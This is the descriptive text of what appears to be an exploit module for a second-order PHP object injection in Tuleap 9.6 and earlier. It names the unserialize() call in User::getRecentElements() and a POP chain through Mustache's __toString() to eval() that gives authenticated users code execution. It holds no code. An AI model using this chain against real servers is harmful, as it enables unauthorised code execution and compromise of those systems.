        This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
        could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
        webserver. The vulnerability exists because of the User::getRecentElements() method is using the
        unserialize() function with data that can be arbitrarily manipulated by a user through the REST
        API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
        to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
